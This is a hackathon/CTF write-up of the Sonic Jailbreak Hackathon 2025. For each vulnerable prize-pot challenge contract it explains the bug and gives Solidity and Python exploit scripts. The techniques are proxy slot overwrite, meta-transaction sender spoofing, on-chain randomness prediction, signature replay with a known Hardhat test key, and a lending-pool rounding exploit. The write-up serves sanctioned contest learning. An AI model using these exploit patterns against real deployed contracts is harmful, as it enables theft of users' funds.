Published on

Sonic Jailbreak Hackathon – Writeup

Authors
  • avatar
    Name
    snwo
    Description
    I like rev > web3 > pwn
  • avatar
    Name
    sahuang
    Description
    Rhythm Gamer. Also the team founder.

I played Sonic Summit Jailbreak Hackathon 2025 with my teammate Y4nhu1. The Hackathon consists of two distinct tracks — users and developers — compete simultaneously to drain a prize pot of over 55,000 $S secured in a smart contract. In developer track, developers must identify and exploit a deliberate vulnerability embedded by Cantina in the prize pot smart contract.

  • Mechanics: Developers analyze provided smart contract code, aiming to discover an exploit or vulnerability that will allow them to drain assets held in the smart contract.
  • Challenge: Technical expertise and rapid problem-solving to uncover the vulnerability.
  • Win Condition: Demonstrate the ability to drain the prize pot and claim funds through a verification process on Cantina.

We ended up with the only team that completed all challenges, and received half of the prizes (around 27,500 $S tokens). The interesting part was pot contract. After solving each challenge, the challenge contract calls addPoints function in pot contract, and when a user reaches 200 points, they can call the claimWin function to get an NFT token. But that doesn’t mean we can withdraw the prize :D (We received the prize after a month when $S halved😔)

You can check the hackathon information & challenges here:

All the transaction hashes can be found in sonicscan.org. Overall, this was a fun contest with interesting mechanisms for claiming prizes. Below are brief writeups for all the challenges. (Note: This excludes one challenge which was basically unsolvable by player. Solving other 7 challenges with first bloods successfully accumulated us 200 points required.)

Eu Tu, Proxy?

Fiona Fox was on her way to discovering a magical proxy implementation. She stumbled upon a hidden function with a signature broad enough to allow the new owner of the proxy to be set, ideally enabling her to steal all the winning points.

She concealed the secret function signature and asked her friend Knuckles to guess it. Knuckles began by guessing: transferOwnership, transferOwner, updateOwner, ....

Total Points: 10 + (1 first blood bonus)

Challenge Link

Transaction hash: 0x5bcd073052cfaafda0b38ee976d6612f937c967112651cbc9510b8203eabfc6e, 0xf1f8616a6ac71d852d17d82f63fd943760d3e88b1f82e6c76909c03c78d8c015.

Solution

Find the contract bytecode and feed it into bytegraph (The link may expire).

The slot 1 address has code that sets the slot 2 to calldata, so using fallback to delecatecall slot 1 address, set slot 2 to my address and call _0x57c1669d to claim the points.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Script, console} from "forge-std/Script.sol";

import {ChallengeEasy4} from "../vienna_hackathon_2025/EU_TU_PROXY/Challenge_Easy_4.sol";

contract Easy4Script is Script {

    function run() public {
        vm.startBroadcast();
        address player = vm.envAddress("PLAYER");
        address chall = 0xb73E7da3fA04A37bbE6be13CA4f1eC68b82a8A26;

        (bool success, bytes memory data) = address(chall).call(abi.encodePacked(uint256(uint160(player))));
        console.log("success", success);

        ChallengeEasy4(payable(chall))._0x57c1669d();

        vm.stopBroadcast();
    }
}

MIGHTY’s IDENTITY CRISIS

Mighty has developed the ultimate identity verification system! He’s so confident that only smart contracts can call his function that he’s put his challenge points behind it. But wait... something feels off.

Get past Mighty’s identity check. Are you clever enough to outsmart his verification system? Remember, in the world of smart contracts, nothing is quite what it seems!

Total Points: 10 + (1 first blood bonus)

Challenge Link

Transaction hash: 0x15229302aaf7f9f7d1f4473342985ca951829fbcbd56f7129fd2c86c2af78bec

Solution

onlyContract() checks the msg.sender, while _msgSender() that is passed to the pot.addPoints() can be set by the forwarder. Use the forwarder to call solve(), the forwarder can pass the onlyContract check, while the player gets the point.

import "@openzeppelin/contracts/metatx/ERC2771Forwarder.sol";
import "@openzeppelin/contracts/utils/cryptography/MessageHashUtils.sol";

contract Easy1Script is Script {

    function run() public {
        vm.startBroadcast();
        address player = vm.envAddress("PLAYER");
        uint256 priv = vm.envUint("PLAYER_PRIV_KEY");

        address chall = 0x1237B533A88612E27aE447f7D84aa7Eb6722e39D;
        ERC2771Forwarder forwarder = ERC2771Forwarder(0x141Fb23a7087ebb9858FEDC320DE5371C7e84cA2);

        ERC2771Forwarder.ForwardRequestData memory req = ERC2771Forwarder.ForwardRequestData(
            player, // from
            address(chall),   // to
            0,  // value
            300000, // gas
            uint48(block.timestamp + 1 minutes),  // deadline
            abi.encodeWithSignature("solve()"),
            new bytes(0) // signature
        );

        bytes32 separator = keccak256(
            abi.encode(
                keccak256(
                    "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
                ),
                keccak256(bytes("Forwarder")),
                keccak256(bytes("1")),
                146,
                address(forwarder)
            )
        );
        bytes32 forwarderTypeHash = keccak256(
            "ForwardRequest(address from,address to,uint256 value,uint256 gas,uint256 nonce,uint48 deadline,bytes data)"
        );
        bytes32 digest = MessageHashUtils.toTypedDataHash(
            separator,
            keccak256(
                abi.encode(
                    forwarderTypeHash,
                    req.from,
                    req.to,
                    req.value,
                    req.gas,
                    0,
                    req.deadline,
                    keccak256(req.data)
                )
            )
        );
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(priv, digest);
        bytes memory signature = abi.encodePacked(r, s, v);
        req.signature = signature;

        forwarder.execute(req);

        vm.stopBroadcast();
    }
}

FANG’s POWER-BALL PARADISE

Fang’s gone and created his own lottery system, and he’s ABSOLUTELY CERTAIN it’s fair and square! After all, who can predict the blockchain’s randomness, right? RIGHT?!

Total Points: 10 + (1 first blood bonus)

Challenge Link

Transaction hashes:

0x01c8ee047215fd44153b123865621321dc0bcd821eb13510da7624675200cba6
0x9bd6f3b4780c7d1177a35e52c32da3b72e162f9098a6f8a0bb1530c39bdc8e47
0x7c6729492af2227806d068f9833be62b56786e9563a7161c96ae20a876b39f05
0x9b8540cfdbb807b9be11c96bcdbdc1d60de79a1e9f9fb02255fa758792960b8a
0xa7b0eaa90e6382c7faea7d5b990a6a3fb759fbeb47fd3398a4ffdddd0fce1588
0xce3210bc8911c49c247f9c91d97b4e762387ce98a2a2c0fa074df06aadb755cf
0x459aafa8ad62d29f6e0f010ec132245e1322650033d19388641131d232e19cb8
0xc0fe24a8c215e37189e6c429c162aa0ffba0225b532a71f5e41236bb1d05c749
0xb9a49731f81510a690a21881ba0a5412c749cb6f45dcadaa395965947281add1
0x63e2612b8a5451b400579ccc3b39ea4bd746e1b3dd80174a4148aacb3ee9813f
0x542eb5c6f43f0175133ef83e02bbe770cc3d1ea26ae00133d80205d84f5a9f1c

Solution

Contracts in the same block use the same block.prevrandao. Based on the use of the forwarder in Easy 1, use a helper function to determine whether to call the challenge contract based on the random result.

contract Helper {
    bytes32 constant separator = 0xb0b9bfbe3cefbfdc6d6872e4aff4cb89d1b82df01a5fc1446178b784a19efd3c;
    bytes32 constant forwarderTypeHash = 0x7f96328b83274ebc7c1cf4f7a3abda602b51a78b7fa1d86a2ce353d75e587cac;
    ERC2771Forwarder public forwarder;

    constructor(ERC2771Forwarder _forwarder) {
        forwarder = _forwarder;
    }

    function getHash(address from, address to, uint nonce, uint48 deadline, bytes calldata data) public view returns (bytes32) {
        return MessageHashUtils.toTypedDataHash(
            separator,
            keccak256(
                abi.encode(
                    forwarderTypeHash,
                    from,
                    to,
                    0,
                    300000,
                    nonce,
                    deadline,
                    keccak256(data)
                )
            )
        );
    }

    function helpCall(ERC2771Forwarder.ForwardRequestData memory req, uint256 guess) public {
        if (block.prevrandao % 26 == guess) {
            forwarder.execute(req);
            return;
        }
        revert("Not matched");
    }
}
from cheb3 import Connection
from cheb3.utils import load_compiled, encode_with_signature
from eth_account import Account

from datetime import datetime, timezone

conn = Connection("https://rpc.soniclabs.com/")
account = conn.account("<pk>")
challenge = "0x786BeE5292B12AA79725cb66f0CBfb7E10A6CAc9"
forwarder_addr = "0xEC83A9D2a4D1fbd20b062297a1996F17803Ee4A4"

helper_abi, helper_bin = load_compiled("PoC.t.sol", "Helper")
helper = conn.contract(account, abi=helper_abi, bytecode=helper_bin)
helper.deploy(forwarder_addr)

forwarder_abi, _ = load_compiled("ERC2771Forwarder.sol")
forwarder = conn.contract(account, abi=forwarder_abi, address=forwarder_addr)

nonce = 0

def sign(f, to, deadline, d):
    global nonce
    digest = helper.caller.getHash(
        f,
        to,
        nonce,
        deadline,
        d
    )
    sig = Account._sign_hash(digest, account.private_key).signature
    return sig

def sign_and_execute(f, to, t, d):
    global nonce
    deadline = int(datetime.now(timezone.utc).timestamp()) + t
    sig = sign(f, to, deadline, d)
    forwarder.functions.execute(
        (f, to, 0, 300000, deadline, d, sig)
    ).send_transaction()
    nonce += 1

for i in range(5):
    sign_and_execute(
        account.address,
        challenge,
        60,
        encode_with_signature(
            "start(uint256)",
            3
        )
    )

    deadline = int(datetime.now(timezone.utc).timestamp()) + 600
    sig = sign(account.address, challenge, deadline, encode_with_signature("solve()"))
    print(f"deadline: {deadline}")
    print(f"sig: {sig.hex()}")
    nonce += 1
    while True:
        try:
            helper.functions.helpCall(
                (account.address, challenge, 0, 300000, deadline, encode_with_signature("solve()"), sig), 3
            ).send_transaction()
            break
        except Exception as e:
            print(e)
            pass
    
    print(conn.cast_call(challenge, "winnings(address)(uint256)", account.address))

Fang’s venom

Fang believes the world is filled with hidden dangers. The smart contracts environment, which has malicious actors lurking everywhere, is also impacted. However, the magic hash issue stems from internal constraints closely tied to the challenge address.

Crack the hash, help Fang gain his inner peace.

Total Points: 30 + (3 first blood bonus)

Challenge Link

Transaction hash: 0x84758cfe94c3f8227d132fbcc616293043946049f1ef9088768c33358080bdc3

Solution

The imadeadbeef function requires two parameters, it concats two params and hash, then compares with value at storage 4 (0x98de0bff1fd1afdd3978d3dc3a57fc8af4b4d05ca4d23f4ec3593c0276ce0eb9). This challenge involved a LOT of guess work, and we tried different brute-force scripts, but none was working. Eventually, we figured out codehash and codesize were the correct answers.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Script, console} from "forge-std/Script.sol";
// import {Vyper} from "./Vyper.sol";
import {ChallengeMedium2} from "../vienna_hackathon_2025/FANG'S_VENOM/Challenge_Medium_2.sol";

contract Medium2 is Script {
    address private deployer = 0x7b7DC09643302549d633b45c901B9051E2354388;
    function run() public {
        vm.startBroadcast();

        ChallengeMedium2 chall = ChallengeMedium2(payable(0x8919B92F52bb8C1aF7C9AFeE2Bdd179d3272919e));

        bytes32 a = 0x55cbd873780b8e356293a84679964e6f57000d1486874bf0a39aeba0a5715cd4;
        uint256 b = 0xd1b;

        chall.imadeadbeef(a,b);

        vm.stopBroadcast();
    }
}

Metal Knuckle’s Permissions

Knuckle's code auditors warned him about his code's lack of re-entrancy protections. Shattered Knuckles added more reentrant locks and made the code available for the elite CTFers to verify whether it was still vulnerable.

Total Points: 30 + (3 first blood bonus)

Challenge Link

Transaction hash: 0xf6e08f017f68efd3ab95c98628f6d404a61cfad69ba51eb7d81739eb710f1ccb

Solution

We searched 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266 address on Google, and found a private key from StackExchange Hardhat local network keys generation. We could sign arbitrary message and send the same signed messages in multisig function to solve.

contract MetalKnuckle is Script {
    function run() public {
        vm.startBroadcast();
        address deploy = 0x6Dd509F963820F3950A56E3C0ABECdF8b3e92434;
        address addr = 0x702105690fCbfC7588254bA71f0EEA60663c2534;
        address signer = 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266;
        uint256 signer_private_key = 0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80;
        bytes32 message = keccak256(abi.encodePacked(bytes32(uint256(uint160(signer))), bytes32(uint256(uint160(addr)))));
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(signer_private_key, message);
        IPermitToReenter.Sig[] memory sig = new IPermitToReenter.Sig[](3);
        sig[0] = IPermitToReenter.Sig({_index: 1, hashed: message, v: v, r: r, s: s});
        sig[1] = IPermitToReenter.Sig({_index: 1, hashed: message, v: v, r: r, s: s});
        sig[2] = IPermitToReenter.Sig({_index: 1, hashed: message, v: v, r: r, s: s});
        IPermitToReenter(deploy).multisig(sig);
        vm.stopBroadcast();
    }
}

Vector’s 3-Bit Surfer Island

You control a surfer navigating through procedurally generated tracks by Vector filled with walls, blocks, and wires. With 84 positions to traverse and only specific actions available, every move counts:

  • TRACK_UP/TRACK_DOWN: Switch lanes to avoid obstacles
  • JUMP: Leap over blocks when you can’t go around
  • DODGE: Slide under wires when there’s no other way
  • NONE: Stay in your lane and hope for the best

Total Points: 50 + (5 first blood bonus)

Challenge Link

Transaction hash: 0x68bb55ae163d192fe9d65e8dfafc91b3c6d9ac3d9b668661419dcf389a41031b

Solution

Convert Huff code to Python after analysis, get a valid seed that generates solvable maze with several attempts and solve maze with dfs.

import {Script} from "forge-std/Script.sol";
import {console} from "forge-std/console.sol";
contract Hard2Script is Script {

    function run() public {
        vm.startBroadcast();

        address chall = 0x4328B9410575a383349F2e88644C933F91c6A5C6;

        bytes memory data = abi.encodePacked(
            bytes4(hex"00000000"),
            uint256(27684352554021427800379120908796796058859940284427164423451880434819558757544),
            uint256(43736918673050163201934668174654671028240)
        );

        (bool success, bytes memory result) = chall.call(data);
        require(success, "Call failed");

        console.logBytes(result);

        vm.stopBroadcast();
    }
}
from eth_hash.auto import keccak
from eth_utils import to_bytes, int_to_big_endian

# Constants from Core.huff
ACTION_NONE = 0x0    # keep current lane, no vertical move
ACTION_UP = 0x1      # move to lane above (index-1)
ACTION_DOWN = 0x2    # move to lane below (index+1)
ACTION_JUMP = 0x3    # jump over a ROCK
ACTION_DODGE = 0x4   # slide under a WIRE

LANE_EMPTY = 0x0
LANE_WALL = 0x1
LANE_ROCK = 0x2
LANE_WIRE = 0x3

# Constants from Main.huff
POT_ADDRESS = 0x1234567890abcdef1234567890abcdef12345678
ADDPOINTS_SELECTOR = 0xad7b985e
# SEED = 0x51716105bf233e10fe12591e77e79e0718d782d0de6dcc5bf0a6b49c625b6690
def _get_front_obstacle(current_lane, lanes):
    """Get obstacle in the current lane from lanes bitmap"""
    if current_lane == 0x1:
        return (lanes & 0x7)
    elif current_lane == 0x2:
        return ((lanes >> 3) & 0x7)
    elif current_lane == 0x3:
        return ((lanes >> 6) & 0x7)
    return 0

def decode_obstacle(pos, seed):
    """Extract obstacle code at a given position from seed"""
    mask = 0x7 << (3 * pos)
    return (seed & mask) >> (3 * pos)

def encode_obstacle(code):
    """Encode obstacle code into lanes bitmap"""
    lanemask = (0x862311 >> (code*3)) & 0x7
    value = code//3 + 1
    lane1 = (lanemask & 1) * value
    lane2 = ((lanemask >> 1) & 1) * value
    lane3 = ((lanemask >> 2) & 1) * value
    return lane1 | (lane2 << 3) | (lane3 << 6)

def build_lane(pos, seed):
    """Build lane from position and seed"""
    obstacle = decode_obstacle(pos, seed)
    return encode_obstacle(obstacle)

def join_lane(offset, lanes_b, lanes_a):
    """Join two lane bitmaps based on offset"""
    mask = 0x7 << offset
    a_masked = lanes_a & mask
    b_masked = lanes_b & mask
    a_shifted = a_masked >> offset
    b_shifted = b_masked >> offset
    return select(b_shifted, a_shifted)

def select(b, a):
    """Select between two values based on if a is zero"""
    mask = 1 if a == 0 else 0
    return (b * mask) + (a * (1 - mask))

def build_tracks(pos, seed_b, seed_a):
    """Build combined tracks from seeds"""
    lanes_b = build_lane(pos, seed_b)
    lanes_a = build_lane(pos, seed_a)
    
    lane1 = select(lanes_b & 0x7, lanes_a & 0x7)
    lane3 = join_lane(0x6, lanes_b, lanes_a)
    lane2 = join_lane(0x3, lanes_b, lanes_a)
    
    return lane1 | (lane2 << 3) | (lane3 << 6)

def get_action(pos, actions):
    """Get action for the current position"""
    mask = 0x7 << (pos * 3)
    return ((actions & mask) >> (pos * 3)) & 0x7

def get_seeds(seed):
    """Generate two seeds from input seed"""
    seed = hex(seed)
    sender_as_int = 0x702105690fCbfC7588254bA71f0EEA60663c2534
    packed_data = int_to_big_endian(sender_as_int).rjust(32, b'\0') + to_bytes(hexstr=seed)
    seed_a = '0x' + keccak(packed_data).hex()
    seed_b = '0x' + keccak(to_bytes(hexstr=seed_a)).hex()
    print(seed_a)
    print(seed_b)
    seed_a = int(seed_a, 16)
    seed_b = int(seed_b, 16)
    return seed_b, seed_a

def update_current_lane(user_action, current_lane):
    """Update player's current lane based on action"""
    lane_change = 0
    if user_action == ACTION_UP:
        lane_change = -1
    elif user_action == ACTION_DOWN:
        lane_change = 1
    
    new_lane = current_lane + lane_change
    
    # Validate lane bounds (1-3)
    if not (0 < new_lane <= 3):
        raise ValueError("Invalid lane position")
    
    return new_lane

def validate_move(user_action, obstacle):
    """Validate if move is valid against obstacle"""
    # Can't move into a wall
    if obstacle == LANE_WALL:
        raise ValueError("Cannot move into a wall")
    
    # Must jump over rocks
    if obstacle == LANE_ROCK and user_action != ACTION_JUMP:
        raise ValueError("Must jump over rocks")
    
    # Must dodge under wires
    if obstacle == LANE_WIRE and user_action != ACTION_DODGE:
        raise ValueError("Must dodge under wires")

def solve_position(current_lane, action, lanes):
    """Solve one position update"""
    new_lane = update_current_lane(action, current_lane)
    obstacle = _get_front_obstacle(new_lane, lanes)
    validate_move(action, obstacle)
    return new_lane

def solve(actions, seed_b, seed_a, pos, current_lane):
    """Solve game state for one step"""
    action = get_action(pos, actions)
    new_pos = pos + 1
    lanes = build_tracks(pos, seed_b, seed_a)
    new_lane = solve_position(current_lane, action, lanes)
    return actions, seed_b, seed_a, new_pos, new_lane

def get_obstacle_decompressed(obstacle):
    """Decompress obstacle into individual lanes"""
    lanes = encode_obstacle(obstacle)
    lane1 = lanes & 0x7
    lane2 = (lanes >> 3) & 0x7
    lane3 = (lanes >> 6) & 0x7
    return lane3, lane2, lane1

def add_points(caller_address):
    """Call contract to add points (simulated)"""
    # This would normally make an external contract call
    print(f"Adding points for {caller_address}")
    return True

def main(seed, actions):
    """Main function that processes the entire game"""
    seed_b, seed_a = get_seeds(seed)
    pos = 0
    current_lane = 2  # Start in the middle lane
    
    # Loop until we reach position 48
    while pos < 48:
        actions, seed_b, seed_a, pos, current_lane = solve(actions, seed_b, seed_a, pos, current_lane)
    
    # Add points when complete
    caller_address = "0xYourAddressHere"  # This would normally be msg.sender
    add_points(caller_address)
    
    return True

import random
import hashlib

# Add this function to visualize the game
def visualize_game(seed, actions=None):
    """Generate and visualize a random game track"""
    if actions is None:
        # Generate empty actions (all 0s)
        actions = 0
    
    seed_b, seed_a = get_seeds(seed)
    
    # Display header
    print("=" * 50)
    print(f"Game with seed: {seed}")
    print("=" * 50)
    
    # Symbol mapping
    symbols = {
        LANE_EMPTY: " ",  # Empty space
        LANE_WALL: "█",   # Wall
        LANE_ROCK: "O",   # Rock
        LANE_WIRE: "~"    # Wire
    }
    
    # Generate and display each position
    current_lane = 2  # Start in middle lane
    player_positions = []
    
    for pos in range(48):  # 48 positions total
        lanes = build_tracks(pos, seed_b, seed_a)
        
        # Extract lane contents
        lane1 = lanes & 0x7
        lane2 = (lanes >> 3) & 0x7
        lane3 = (lanes >> 6) & 0x7
        
        # Store information about the current position
        if actions != 0:
            action = get_action(pos, actions)
            try:
                # Simulate movement if actions are provided
                current_lane = update_current_lane(action, current_lane)
                obstacle = _get_front_obstacle(current_lane, lanes)
                validate_move(action, obstacle)
                player_positions.append((pos, current_lane))
            except ValueError as e:
                print(f"Game over at position {pos}: {e}")
                break
        
        # Print the lanes
        lane_display = [
            f"Lane 1: {symbols[lane1]}",
            f"Lane 2: {symbols[lane2]}",
            f"Lane 3: {symbols[lane3]}"
        ]
        
        # Add player marker if we're tracking actions
        if actions != 0 and (pos, current_lane) in player_positions:
            lane_display[current_lane-1] += " <Player>"
            
        print(f"Position {pos}:")
        for lane in lane_display:
            print(lane)
        print()

def generate_random_seed():
    """Generate a random seed for the game"""

    # return SEED
    return 27684352554021427800379120908796796058859940284427164423451880434819558757544
    return random.randint(0, 2**256 - 1)

def visualize_compact(seed, length=48):
    """Generate a more compact visualization of the game track"""
    seed_b, seed_a = get_seeds(seed)
    
    # Symbol mapping
    symbols = {
        LANE_EMPTY: "·",  # Empty space
        LANE_WALL: "█",   # Wall
        LANE_ROCK: "O",   # Rock
        LANE_WIRE: "~"    # Wire
    }
    
    # Display header
    print("=" * 50)
    print(f"Game with seed: {seed}")
    print("=" * 50)
    
    # Build the track visualization
    track = [["" for _ in range(length)] for _ in range(3)]
    
    for pos in range(length):
        lanes = build_tracks(pos, seed_b, seed_a)
        
        # Extract lane contents
        track[0][pos] = symbols[lanes & 0x7]           # Lane 1
        track[1][pos] = symbols[(lanes >> 3) & 0x7]    # Lane 2
        track[2][pos] = symbols[(lanes >> 6) & 0x7]    # Lane 3
    
    # Print the track
    print("Lane 1: " + "".join(track[0]))
    print("Lane 2: " + "".join(track[1]))
    print("Lane 3: " + "".join(track[2]))
    print()

def is_solvable(seed):
    """Determine if the maze can be solved with the given seed"""
    seed_b, seed_a = get_seeds(seed)
    pos = 0
    current_lane = 2  # Start in middle lane
    
    print("Checking if maze is solvable...")
    
    # Try to navigate through all positions
    while pos < 48:
        lanes = build_tracks(pos, seed_b, seed_a)
        
        # Try all possible actions
        solvable_position = False
        best_action = None
        
        for action in [ACTION_NONE, ACTION_UP, ACTION_DOWN, ACTION_JUMP, ACTION_DODGE]:
            try:
                new_lane = update_current_lane(action, current_lane)
                obstacle = _get_front_obstacle(new_lane, lanes)
                validate_move(action, obstacle)
                
                # Found a valid move
                solvable_position = True
                best_action = action
                current_lane = new_lane
                break
            except ValueError:
                continue
        
        if not solvable_position:
            print(f"No valid move found at position {pos}")
            return False
        
        # Move to next position
        pos += 1
    
    print("Maze is solvable!")
    return True

def find_solution_dfs(seed):
    """Find a solution for the maze using Depth-First Search"""
    seed_b, seed_a = get_seeds(seed)
    
    def dfs(pos, current_lane, actions_so_far=0):
        # If we reached the end, we've found a solution
        if pos >= 48:
            return actions_so_far
        
        # Get the current track layout
        lanes = build_tracks(pos, seed_b, seed_a)
        
        # Try each possible action in order
        for action in [ACTION_NONE, ACTION_UP, ACTION_DOWN, ACTION_JUMP, ACTION_DODGE]:
            try:
                # Check if this action is valid
                new_lane = update_current_lane(action, current_lane)
                obstacle = _get_front_obstacle(new_lane, lanes)
                validate_move(action, obstacle)
                
                # Valid move found, add this action to our solution
                new_actions = actions_so_far | (action << (pos * 3))
                
                # Explore this path further
                result = dfs(pos + 1, new_lane, new_actions)
                
                # If we found a solution down this path, return it
                if result is not None:
                    return result
                
            except ValueError:
                # Invalid move, try next action
                continue
        
        # No solution found from this position
        return None
    
    # Start DFS from position 0, middle lane
    print("Searching for solution with DFS...")
    solution = dfs(0, 2)
    
    if solution is not None:
        print("Solution found!")
        return solution
    else:
        print("No solution exists.")
        return None

def solution_to_action_array(solution):
    """Convert a solution integer to an array of 3-bit action values"""
    actions = []
    
    for pos in range(48):
        # Extract the 3-bit action at this position
        action = get_action(pos, solution)
        actions.append(action)
    
    return actions

def print_solution_as_array(solution):
    """Print the solution as an array of actions with their names"""
    global action_array
    action_array = solution_to_action_array(solution)
    
    # Action name mapping
    action_names = {
        ACTION_NONE: "NONE",
        ACTION_UP: "UP",
        ACTION_DOWN: "DOWN",
        ACTION_JUMP: "JUMP",
        ACTION_DODGE: "DODGE"
    }
    
    # Print array format
    print("Solution as 3-bit action array:")
    print("[", end="")
    
    for i, action in enumerate(action_array):
        if i > 0:
            print(", ", end="")
        
        # Print position, action value, and name
        print(f"{action}", end="")
    
    print("]")
    
    # Print with action names for readability
    print("\nSolution with action names:")
    for pos, action in enumerate(action_array):
        print(f"Position {pos}: {action} ({action_names.get(action, 'UNKNOWN')})")

# Main script to generate and visualize a game
if __name__ == "__main__":
    # Generate a random seed
    random_seed = generate_random_seed()
    print(f"Generated random seed: {random_seed}")
    
    # Visualize the game in compact format
    visualize_compact(random_seed)
    
    # Try to find a solution using DFS
    solution = find_solution_dfs(random_seed)
    
    if solution:
        print_solution_as_array(solution)
        
        # Convert solution to hex string with 0 padding
        # Each byte can hold 2 full 3-bit actions (with 2 bits left over)
        hex_bytes = []
        for i in range(0, 48, 2):
            if i + 1 < 48:
                # Two full actions in one byte
                byte_val = action_array[i] | (action_array[i+1] << 3)
            else:
                # Last action if odd number
                byte_val = action_array[i]
            hex_bytes.append(byte_val)
        print(action_array)
        bits = ""
        for i in range(len(action_array)):
            bits = format(action_array[i], '03b') + bits
        print(bits)
        # Format as hex bytes
        hex_solution = '0x' + ''.join(f'{b:02x}' for b in hex_bytes)
        print(f"Compact hex representation: {hex_solution}")
    else:
        print("No solution found. Maze is unsolvable.")

Knuckle’s Lending Pool

Knuckle’s new lending protocol is impressive, allowing users to deposit native Sonic tokens as collateral and earn interest. With his unwavering belief in its potential, he has already invested his own tokens!

Yet, in the dynamic realm of DeFi, there’s always more beneath the surface. Can you spot any flaws in Knuckle’s pool and help him refine his vision?

Total Points: 50 + (5 first blood bonus)

Challenge Link

Transaction hash: 0xff54c7887ecc944044798d87c0721b093f1062f63dee5c9e98af0820148ef8ef, 0x0a4229073cffec2cf974f62af619478de5925056edeb8385e5510098d4ac3206, 0xcd112332f54f7f14478966e64d7a4b2ffde7e24cfabf511619a96944bbff8f07

Solution

There is a precision loss in vaultLib.calcAssetForWithdrawals(). So, the amount required to burn will be much less than the metric’s deducted amount. In this case, after burning, the metric becomes zero, while the user still holds some tokens.

contract Hard1Script is Script {

    function run() public {
        vm.startBroadcast();
        
        ChallengeHard1 chall = ChallengeHard1(payable(0x68283749b8933E57fdBCA021fcCa03bcfB539199));

        chall.ingressLiquidity{value: 1 ether + 1000}();
        chall.egressLiquidity(1 ether + 1000);
        chall.verifySystemCompletion();

        vm.stopBroadcast();
    }
}